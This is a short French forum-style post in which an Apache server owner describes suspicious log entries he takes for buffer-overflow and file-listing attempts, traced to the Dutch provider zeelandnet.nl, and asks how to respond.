Je constate dans les logs de mon serveur Apache quelques trucs louches:

Voilà, à mon avis, le mec essaie de me hacker à coup de buffer overflow, et essaie de lister les fichiers contenus sur mon disque dur. Heureusement, ça ne passe pas. Que puis-je faire? En le traçant, la connection viendrait du fournisseur d'accès www.zeelandnet.nl . A mon avis, il doit se servir de leur proxy. Que puis-je faire contre ça?
